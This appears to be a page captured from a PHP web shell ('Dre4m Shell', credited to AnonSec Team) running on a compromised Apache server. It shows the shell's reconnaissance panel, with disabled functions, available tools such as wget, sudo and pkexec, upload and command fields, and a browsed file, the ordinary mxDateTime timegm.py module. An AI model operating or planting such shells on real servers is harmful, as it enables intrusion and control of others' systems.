Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.116.14.133
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.7/dist-packages/mx/DateTime/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python2.7/dist-packages/mx/DateTime/timegm.py
""" A timegm() emulation for platforms that do not provide the C lib
    API.

    This is the prototype I used to code the timegm() C emulation in
    mxDateTime. It offers a little more than is really needed...

    Copyright (c) 2000, Marc-Andre Lemburg; mailto:mal@lemburg.com
    Copyright (c) 2000-2015, eGenix.com Software GmbH; mailto:info@egenix.com
    See the documentation for further information on copyrights,
    or contact the author. All Rights Reserved.

"""
from time import *

_debug = 0

def local_offset(ticks):

    if _debug:
        print 'local:',localtime(ticks)
        print 'GMT:',gmtime(ticks)
    (localyear,localmonth,localday,
     localhour,localminute,localsecond,
     localwday,localyday,localdst) = localtime(ticks)
    (gmyear,gmmonth,gmday,
     gmhour,gmminute,gmsecond,
     gmwday,gmyday,gmdst) = gmtime(ticks)
    if gmday != localday:
        localdate = localyear * 10000 + localmonth * 100 + localday
        gmdate = gmyear * 10000 + gmmonth * 100 + gmday
        if localdate < gmdate:
            offset = -86400
        else:
            offset = 86400
    else:
        offset = 0
    return (offset 
            + (localhour - gmhour) * 3600
            + (localminute - gmminute) * 60
            + (localsecond - gmsecond))

def timegm(year,month,day,hour,minute,second,wday,yday,dst):

    try:
        ticks = mktime(year,month,day,hour,minute,second,wday,yday,-1)
        return ticks + local_offset(ticks)
    except OverflowError:
        # Hmm, we may have stumbled into the "missing" hour during a
        # DST switch...
        ticks = mktime(year,month,day,0,0,0,wday,yday,-1) 
        offset = local_offset(ticks)
        return (ticks + offset
                + 3600 * hour
                + 60 * minute
                + second)

def dst(ticks):

    offset = local_offset(ticks)
    for checkpoint in (-8640000,10000000,-20560000,20560000):
        try:
            reference = local_offset(ticks + checkpoint)
        except OverflowError:
            continue
        if reference != offset:
            break
    if _debug:
        print 'given:',offset,'reference:',reference,'(checkpoint:',checkpoint,')'
    return offset > reference

def _test():

    t = 920710000
    oops = 0
    while 1:
        x = apply(timegm,gmtime(t))
        if x != t:
            print 'Ooops:',gmtime(t),'t =',t,'diff =',x-t
            oops = oops + 1
        isdst = localtime(t)[-1]
        if isdst != -1 and isdst != dst(t):
            print 'Ooops: t =',t,'dst() =',dst(t),'isdst =',isdst
            oops = oops + 1
        try:
            t = t + 10011
        except OverflowError:
            break
    if not oops:
        print 'Works.'
        return 1
    else:
        print 'Got %i warnings.' % oops
        return 0

if __name__ == '__main__':
    _test()


Anon7 - 2022
AnonSec Team